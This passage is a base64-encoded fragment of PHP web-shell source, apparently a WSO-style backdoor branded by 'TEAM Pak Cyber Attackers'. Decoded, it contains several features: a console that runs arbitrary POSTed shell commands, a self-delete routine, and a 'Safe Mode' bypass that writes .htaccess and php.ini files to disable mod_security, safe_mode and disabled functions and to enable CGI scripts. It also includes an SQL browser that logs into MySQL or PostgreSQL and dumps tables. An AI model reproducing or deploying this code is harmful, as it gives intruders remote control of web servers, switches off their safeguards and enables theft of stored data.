ogICAgICAgICAgICAgICAgZWNobyAiZG9jdW1lbnQubWYuYy52YWx1ZT0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlY2hvICJkb2N1bWVudC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7CiAgICAgICAgZWNobyAiZG9jdW1lbnQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGRvY3VtZW50LmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7IjsKICAgICAgICAkdGVtcCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CiAgICAgICAgZXhpdDsKICAgIH0KICAgIHByaW50SGVhZGVyKCk7CmVjaG8gJzxzY3JpcHQ+CmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7CnZhciBjbWRzID0gbmV3IEFycmF5KCIiKTsKdmFyIGN1ciA9IDA7CmZ1bmN0aW9uIGtwKGUpIHsKICAgIHZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNoIDogZS5rZXlDb2RlOwogICAgaWYobiA9PSAzOCkgewogICAgICAgIGN1ci0tOwogICAgICAgIGlmKGN1cj49MCkKICAgICAgICAgICAgZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwogICAgICAgIGVsc2UKICAgICAgICAgICAgY3VyKys7CiAgICB9IGVsc2UgaWYobiA9PSA0MCkgewogICAgICAgIGN1cisrOwogICAgICAgIGlmKGN1ciA8IGNtZHMubGVuZ3RoKQogICAgICAgICAgICBkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CiAgICAgICAgZWxzZQogICAgICAgICAgICBjdXItLTsKICAgIH0KfQpmdW5jdGlvbiBhZGQoY21kKSB7CiAgICBjbWRzLnBvcCgpOwogICAgY21kcy5wdXNoKGNtZCk7CiAgICBjbWRzLnB1c2goIiIpOwogICAgY3VyID0gY21kcy5sZW5ndGgtMTsKfQo8L3NjcmlwdD4nOwogICAgZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkb2N1bWVudC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZG9jdW1lbnQuY2Yub3V0cHV0LnZhbHVlPVwnXCc7ZG9jdW1lbnQuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyI+PHNlbGVjdCBuYW1lPWFsaWFzPic7CiAgICBmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsKICAgICAgICBpZigkdiA9PSAnJykgewogICAgICAgICAgICBlY2hvICc8b3B0Z3JvdXAgbGFiZWw9Ii0nLmh0bWxzcGVjaWFsY2hhcnMoJG4pLictIj48L29wdGdyb3VwPic7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KICAgICAgICBlY2hvICc8b3B0aW9uIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiciPicuJG4uJzwvb3B0aW9uPic7CiAgICB9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7CiAgICBlY2hvICc8L3NlbGVjdD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTtpZihkb2N1bWVudC5jZi5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCxkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7fSIgdmFsdWU9Ij4+Ij4gPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVhIG5hbWU9b3V0cHV0IHN0eWxlPSJib3JkZXItYm90dG9tOjA7IiByZWFkb25seT4nOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoIiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pKTsKICAgIH0KICAgIGVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCBzdHlsZT0iYm9yZGVyLXRvcDowO3dpZHRoOjEwMCU7IiBvbmtleWRvd249ImtwKGV2ZW50KTsiPic7CiAgICBlY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kb2N1bWVudC5jZi5jbWQuZm9jdXMoKTs8L3NjcmlwdD4nOwogICAgcHJpbnRGb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25Mb2dvdXQoKSB7CiAgICB1bnNldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKTsKICAgIGVjaG8gJzxib2R5IGJnY29sb3I9IzAwMDAwMD48Y2VudGVyPjxpbWcgc3JjPSJodHRwOi8vcG5nLTQuZmluZGljb25zLmNvbS9maWxlcy9pY29ucy8xNDYveHBfaWNhbmR5XzNfMS8xMjgvbG9nX29mZi5wbmciPjxoMT48Zm9udCBjb2xvcj0iI2EzZTk1NiI+R29vZCBCeWUgXl9eIEVOSk9ZPGJyPjxoMj48Zm9udCBzaXplPSI0Ij5TSEVMTCBCWSAxMzM3IGhAeDByIDxwPmh0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS9rb29sN21pbmRlZDxoMj5URUFNIFBhayBDeWJlciBBdHRhY2tlcnM8YnI+PGgyPjxmb250IGNvbG9yPSJncmVlbiI+UEFLSVNUQU48Zm9udCBjb2xvcj0iI2ZmZiI+WklOREFCQUQ8L2gyPjxwPjxmb250IGNvbG9yPSIjYTNlOTU2IiBmb250IHNpemU9IjQiPldFIEFSRT0+PG1hcnF1ZWUgd2lkdGg9IjgwJSI+UGFrIEN5YmVyIEF0dGFja2VyczwvbWFycXVlZT48L2ZvbnQ+PC9mb250PjwvZm9udD48L2NlbnRlcj48L2JvZHk+JzsKfQpmdW5jdGlvbiBhY3Rpb25TZWxmUmVtb3ZlKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykgewogICAgICAgIGlmKEB1bmxpbmsoU0VMRl9QQVRIKSkKICAgICAgICAgICAgZGllKCdTaGVsbCBoYXMgYmVlbiByZW1vdmVkJyk7CiAgICAgICAgZWxzZQogICAgICAgICAgICBlY2hvICd1bmxpbmsgZXJyb3IhJzsKICAgIH0KICAgIGVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9uQnlwYXNzKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TYWZlIE1vZGU8L2gxPic7CiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOwogICAgZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48aDM+PHNwYW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCA1MDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwYW4+PC9oMz5Gb2xsb3dpbmcgcGhwLmluaSBhbmQgLmh0YWNjZXNzKG1vZCkgYW5kIHBlcmwoLmh0YWNjZXNzKVtjb252ZXJ0IHBlcmwgZXh0ZW50aW9uICoucGwgPT4gKi5zaCAgXSBmaWxlcyBjcmVhdGUgaW4gZm9sbG93aW5nIGRpcjxicj58ICIuJEdMT0JBTFNbJ2N3ZCddLiIgfDxicj48YnIgLz4iOwogICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwncGhwLmluaVwnLG51bGwpIj58IFBIUC5JTkkgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCdpbmlcJykiPnwgLmh0YWNjZXNzKE1vZCkgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsbnVsbCxcJ3NoXCcpIj58IC5odGFjY2VzcyhwZXJsKSB8IDwvYT48L2NlbnRlcj4nOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgaXNzZXQoJF9QT1NUWydwMiddKSkKICAgIHsKICAgICAgICAkZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwidyIpOwogICAgICAgIGZ3cml0ZSgkZmlsLCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+CiAgICAgICAgICAgIFNlYy0tLS0tLUVuZ2luZSBPZmYKICAgICAgICAgICAgU2VjLS0tLS0tU2NhblBPU1QgT2ZmCiAgICAgICAgICAgIDwvSWZNb2R1bGU+Jyk7CiAgICAgICAgZmNsb3NlKCRmaWwpOwogICB9CiAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pJiYgaXNzZXQoJF9QT1NUWydwMSddKSkKICAgewogICAgICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuaW5pIiwidyIpOwogICAgICAgIGZ3cml0ZSgkZmlsLCdzYWZlX21vZGU9T0ZGCiAgICAgICAgICAgIGRpc2FibGVfZnVuY3Rpb25zPU5PTkUnKTsKICAgICAgICBmY2xvc2UoJGZpbCk7CiAgICB9CiAgICBpZighZW1wdHkoJF9QT1NUWydwMyddKSAmJiBpc3NldCgkX1BPU1RbJ3AzJ10pKQogICAgewogICAgICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCJ3Iik7CiAgICAgICAgZndyaXRlKCRmaWwsJ09wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0kKICAgICAgICBBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5zaAogICAgICAgIEFkZEhhbmRsZXIgY2dpLXNjcmlwdCAucGwKICAgICAgICBBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnBsJyk7CiAgICAgICAgZmNsb3NlKCRmaWwpOyAKICAgIH0KICAgIGVjaG8gIjxicj48YnIgLz48YnIgLz48L2Rpdj4iOwogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblNxbCgpIHsKICAgIGNsYXNzIERiQ2xhc3MgewogICAgICAgIHZhciAkdHlwZTsKICAgICAgICB2YXIgJGxpbms7CiAgICAgICAgdmFyICRyZXM7CiAgICAgICAgZnVuY3Rpb24gRGJDbGFzcygkdHlwZSkgICAgewogICAgICAgICAgICAkdGhpcy0+dHlwZSA9ICR0eXBlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAkdXNlciwgJHBhc3MsICRkYm5hbWUpewogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICBpZiggJHRoaXMtPmxpbmsgPSBAbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcyx0cnVlKSApIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgICRob3N0ID0gZXhwbG9kZSgnOicsICRob3N0KTsKICAgICAgICAgICAgICAgICAgICBpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7CiAgICAgICAgICAgICAgICAgICAgaWYoICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRob3N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNzd29yZD0kcGFzcyBkYm5hbWU9JGRibmFtZSIpICkgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBzZWxlY3RkYigkZGIpIHsKICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHF1ZXJ5KCRzdHIpIHsKICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSB7CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxfcXVlcnkoJHN0cik7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSBAcGdfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBmZXRjaCgpIHsKICAgICAgICAgICAgJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6JHRoaXMtPnJlczsKICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9mZXRjaF9hc3NvYygkcmVzKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2ZldGNoX2Fzc29jKCRyZXMpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gbGlzdERicygpIHsKICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxfbGlzdF9kYnMoJHRoaXMtPmxpbmspOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UiKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsKICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlICh0YWJsZV9zY2hlbWEgIT0gJ2luZm9ybWF0aW9uX3NjaGVtYScgQU5EIHRhYmxlX3NjaGVtYSAhPSAncGdfY2F0YWxvZycpIG9yIHRhYmxlX25hbWUgPSAncGdfdXNlciciKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gZXJyb3IoKSB7CiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgewogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZXJyb3IoJHRoaXMtPmxpbmspOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19sYXN0X2Vycm9yKCR0aGlzLT5saW5rKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gc2V0Q2hhcnNldCgkc3RyKSB7CiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgewogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJzZXQnKSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9zZXRfY2hhcnNldCgkc3RyLCAkdGhpcy0+bGluayk7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19zZXRfY2xpZW50X2VuY29kaW5nKCR0aGlzLT5saW5rLCAkc3RyKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGR1bXAoJHRhYmxlKSB7CiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgewogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgICRyZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOwogICAgICAgICAgICAgICAgICAgICRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzKTsKICAgICAgICAgICAgICAgICAgICBlY2hvICRjcmVhdGVbMV0uIjtcblxuIjsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIuQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlY2hvICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOwogICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zW10gPSAkazsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfTsKICAgICRkYiA9IG5ldyBEYkNsYXNzKEAkX1BPU1RbJ3R5cGUnXSk7CiAgICBpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7CiAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwogICAgICAgICRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKTsKICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1kdW1wLnNxbCIpOwogICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CiAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQogICAgICAgICAgICAgICAgJGRiLT5kdW1wKCR2KTsKICAgICAgICBleGl0OwogICAgfQogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TcWwgYnJvd3NlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgogICAgPGZvcm0gbmFtZT0ic2YiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgPHRhYmxlIGNlbGxwYWRkaW5nPSIyIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD5UeXBlPC90ZD4KICAgICAgICAgICAgICAgIDx0ZD5Ib3N0PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD5Mb2dpbjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+UGFzc3dvcmQ8L3RkPgogICAgICAgICAgICAgICAgPHRkPkRhdGFiYXNlPC90ZD4KICAgICAgICAgICAgICAgIDx0ZD48L3RkPgogICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVNxbD4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPVwncXVlcnlcJz4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgogICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgbmFtZT1cJ3R5cGVcJz4KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibXlzcWwiICcuKEAkX1BPU1RbJ3R5cGUnXT09J215c3FsJz8nc2VsZWN0ZWQnOicnKS4nPk15U3FsPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InBnc3FsIiAnLihAJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCc/J3NlbGVjdGVkJzonJykuJz5Qb3N0Z3JlU3FsPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2hvc3QgdmFsdWU9IicuKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKS4nIj48L3RkPgogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfbG9naW4gdmFsdWU9IicuKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKS4nIj48L3RkPgogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfcGFzcyB2YWx1ZT0iJy4oZW1wdHkoJF9QT1NUWydzcWxfcGFzcyddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3Bhc3MnXSkpLiciPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+JzsKICAgICR0bXAgPSAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9iYXNlIHZhbHVlPScnPiI7CiAgICBpZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsKICAgICAgICBpZigkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSkpIHsKICAgICAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7CiAgICAgICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGRiLT5saXN0RGJzKCk7CiAgICAgICAgICAgIGVjaG8gIjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9uPiI7CiAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7CiAgICAgICAgICAgICAgICBsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdG